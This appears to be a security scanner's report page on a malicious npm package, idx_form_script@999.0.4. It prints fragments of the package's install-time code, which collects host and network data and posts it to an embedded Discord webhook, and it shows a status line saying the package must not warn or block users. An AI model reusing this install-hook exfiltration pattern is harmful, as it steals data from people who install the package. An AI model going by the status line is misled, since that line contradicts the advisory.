registry / idx_form_script / 999.0.4

idx_form_script@999.0.4

⚠ Under review

OSV Malicious Advisory

imported 21d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16243 confirms this npm version as malicious.

Advisory

MAL-2026-16243

Source

OpenSSF Malicious Packages via OSV

Decision reason

Automated AI review exhausted its retry budget. This package remains unresolved and must not warn or block users.

References

OSV advisory

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 10.0 KB of source, external domains: api.ipify.org, discord.com

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node callback.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

callback.jsView file

11L12: const https = require('https'); L13: const http = require('http'); L14: const os = require('os'); L15: const { execSync } = require('child_process'); L16: ... L27: try { L28: const interfaces = os.networkInterfaces(); L29: for (const name of Object.keys(interfaces)) { ... L47: try { L48: resolve(JSON.parse(data).ip); L49: } catch (e) {

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

callback.jsView on unpkg · L11

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

callback.jsView on unpkg · L11

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

callback.jsView on unpkg · L11

11Trigger-reachable chain: scripts.postinstall -> callback.js L11: L12: const https = require('https'); L13: const http = require('http'); L14: const os = require('os'); L15: const { execSync } = require('child_process'); L16: ... L27: try { L28: const interfaces = os.networkInterfaces(); L29: for (const name of Object.keys(interfaces)) { ... L47: try { L48: resolve(JSON.parse(data).ip); L49: } catch (e) {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

callback.jsView on unpkg · L11

•Manifest-reachable source serializes caller or host-sensitive data to a package-embedded authenticated webhook. callback.js: const DISCORD_WEBHOOK = 'https://discord.[redacted]5GuFgIOVr6N3uWQumdUWgjxS_NpkMfW6f8lqA0ySn7HHgXRyeZxc3HG-9kiEbhbHHXe-'; const data = JSON.stringify(systemInfo); method: 'POST', const encoded = Buffer.from(JSON.stringify(info)) const payload = JSON.stringify({ method: 'POST',

High

Fixed Authenticated Webhook Data Exfiltration

Manifest-reachable source sends caller or host-sensitive data to a package-embedded authenticated webhook.

callback.jsView on unpkg

11Trigger-reachable credential exfiltration chain: scripts.postinstall -> callback.js L11: L12: const https = require('https'); L13: const http = require('http'); L14: const os = require('os'); L15: const { execSync } = require('child_process'); L16: ... L27: try { L28: const interfaces = os.networkInterfaces(); L29: for (const name of Object.keys(interfaces)) { ... L47: try { L48: resolve(JSON.parse(data).ip); L49: } catch (e) {

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

callback.jsView on unpkg · L11

Source & flagged code

7 flagged · loading source

idx_form_script@999.0.4

OSV Malicious Advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code